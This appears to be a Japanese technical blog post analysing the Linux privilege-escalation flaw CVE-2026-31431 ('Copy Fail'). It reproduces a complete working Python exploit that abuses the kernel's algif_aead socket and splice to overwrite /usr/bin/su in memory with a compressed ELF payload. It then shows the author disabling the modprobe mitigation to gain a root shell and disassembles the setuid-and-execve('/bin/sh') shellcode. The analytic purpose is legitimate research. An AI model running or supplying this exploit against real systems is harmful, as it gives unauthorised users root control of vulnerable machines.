
CVE-2026-31431 (Copy Fail) — x86-64 アセンブリにおける分析と開発 | x86-64 アセンブリにおける分析と開発
Theori で公開されているソースコードを基に、完全に純粋なアセンブリ言語(外部ライブラリなし)に変換するまで、いくつかの演習を行います。```python #!/usr/bin/env python3
import os as g,zlib,socket as s def d(x):return bytes.fromhex(x) def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) while i<len(e):c(f,i,e[i:i+4]);i+=4 g.system("su")
## テスト環境
この演習は次のマシンで実施します。```bash
> $ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 24.04.4 LTS
Release: 24.04
Codename: noble
> $ uname -rm
6.19.4-061904-generic x86_64
Pythonプログラムを実行して、システムが脆弱性を持つかどうかを検証します。エラーが発生した場合は脆弱性はなく、シェル sh が開いた場合は脆弱性があります。```bash
$ python3 copyfail.py Traceback (most recent call last): File "/home/gmg/copy.fail/copyfail.py", line 11, in while i<len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File "/home/gmg/copy.fail/copyfail.py", line 7, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory
### 軽減策を無効にする
このマシンでは、自動セキュリティ更新を通じて軽減策がダウンロードされたため、失敗しました。これをテストするために、軽減策が含まれているファイルの名前を変更して防御を弱めました。```bash
# Buscar si existe un modprobe explícito
> $ grep -r "algif" /etc/modprobe.d/
/etc/modprobe.d/disable-algif_aead.conf:# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)
/etc/modprobe.d/disable-algif_aead.conf:install algif_aead /bin/false
# Renombrar el archivo donde se encuentra la mitigación
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf /etc/modprobe.d/disable-algif_aead.conf.bak
私たちはプログラムを再度テストし、今度はシェルが返され、自分たちがrootであることを確認しました。```bash
$ python3 copyfail.py
uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
### 保護を再開する
演習が終了したら、以下のコマンドを実行して保護を再度有効にします。```bash
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf.bak /etc/modprobe.d/disable-algif_aead.conf
> $ sudo modprobe -r algif_aead
> $ sudo sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
最初に分析すべきは、zlibで圧縮された文字列が何であるかです。そのために、Pythonプログラムdecompress.pyを作成して解凍し、output.binというファイルを生成します。```python
import zlib
hex_data = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
data = zlib.decompress(bytes.fromhex(hex_data))
with open("output.bin", "wb") as f: f.write(data)
print(f"Archivo generado: output.bin ({len(data)} bytes)")
ファイルの種類を実行し、分析します。```bash
> $ python3 decompress.py
Archivo generado: output.bin (160 bytes)
> $ file output.bin
output.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
これがELF 64-bit LSB executableファイルであることがわかったので、調査してみましょう。```bash
$ readelf -a output.bin ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x400078 Start of program headers: 64 (bytes into file) Start of section headers: 0 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 1 Size of section headers: 0 (bytes) Number of section headers: 0 Section header string table index: 0
There are no sections in this file.
There are no section groups in this file.
Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x000000000000009e 0x000000000000009e R E 0x1000
There is no dynamic section in this file.
There are no relocations in this file. No processor specific unwind information to decode
Dynamic symbol information is not available for displaying symbols.
No version information found in this file.
ELF構造は**120バイト**を占めている:**ELFヘッダ**(64バイト)+ **プログラムヘッダ**(56バイト)。マシンコードはバイト120(0x78)から始まり、これは**エントリポイントアドレス:0x400078**と一致する。
### コードの逆アセンブル
**エントリポイントアドレス:0x400078**が分かったので、これでコードの逆アセンブルを開始できる。```bash
> $ objdump -D -b binary -m i386:x86-64 -M intel -z --start-address=0x78 output.bin
output.bin: file format binary
Disassembly of section .data:
0000000000000078 <.data+0x78>:
78: 31 c0 xor eax,eax
7a: 31 ff xor edi,edi
7c: b0 69 mov al,0x69
7e: 0f 05 syscall
80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96
87: 31 f6 xor esi,esi
89: 6a 3b push 0x3b
8b: 58 pop rax
8c: 99 cdq
8d: 0f 05 syscall
8f: 31 ff xor edi,edi
91: 6a 3c push 0x3c
93: 58 pop rax
94: 0f 05 syscall
96: 2f (bad)
97: 62 69 6e 2f 73 (bad)
9c: 68 .byte 0x68
9d: 00 00 add BYTE PTR [rax],al
9f: 00 .byte 0
各パラメータの説明:
-D — Disassemble All. ファイルのすべての内容を逆アセンブルします。コードとしてマークされたセクションだけではありません。これがないと、-d は .text のみを逆アセンブルし、このファイルにはELFセクションがないため(純粋なバイナリ)、何も表示されません。-b binary — Binary format. objdumpにファイルをELFヘッダを解析しようとせずに生データとして扱うように指示します。これがないと、objdumpはファイルのELFヘッダを読み取ろうとし、失敗するか誤った逆アセンブルを行います。-m i386:x86-64 — Machine architecture. 逆アセンブルするための命令セットを指定します。i386 は基本ファミリ、:x86-64 は64ビットモードを指定します。-b binary を使用する場合に必要です。ELFヘッダがないため、objdumpはアーキテクチャを推測できません。-m がない場合、i386(32ビット)を想定し、逆アセンブルが正しく行われません — lea rdi, [rip+0xf] のような64ビット命令はゴミとしてデコードされます。-M intel — Syntax mode. AT&T (mov $0x69, %al) の代わりにIntel構文 (mov al, 0x69) を使用します。-z — ゼロシーケンスの抑制を無効にします。これにより、ゼロを省略せずにすべて表示します。--start-address=0x78 — オフセット0x78(120バイト)から開始します。ペイロードのELFヘッダとプログラムヘッダをスキップし、機械語コードのみを逆アセンブルします。これがないと、ヘッダを命令として逆アセンブルしてしまいます。まとめ: -b binary を使用する場合、-m は必須です。objdumpはELFヘッダなしではアーキテクチャを推測できないためです。通常のELFファイル(-b binary なし)では、アーキテクチャはヘッダの e_machine に含まれているため、-m は必要ありません。
この場合の -z パラメータは重要です。後で説明しますが、パディングとして使用されるゼロがあり、このパラメータがないと次の内容が表示され、正確な逆アセンブルが得られません。```bash
9d: 00 00 add BYTE PTR [rax],al
...
### \"/bin/sh\" 文字列の識別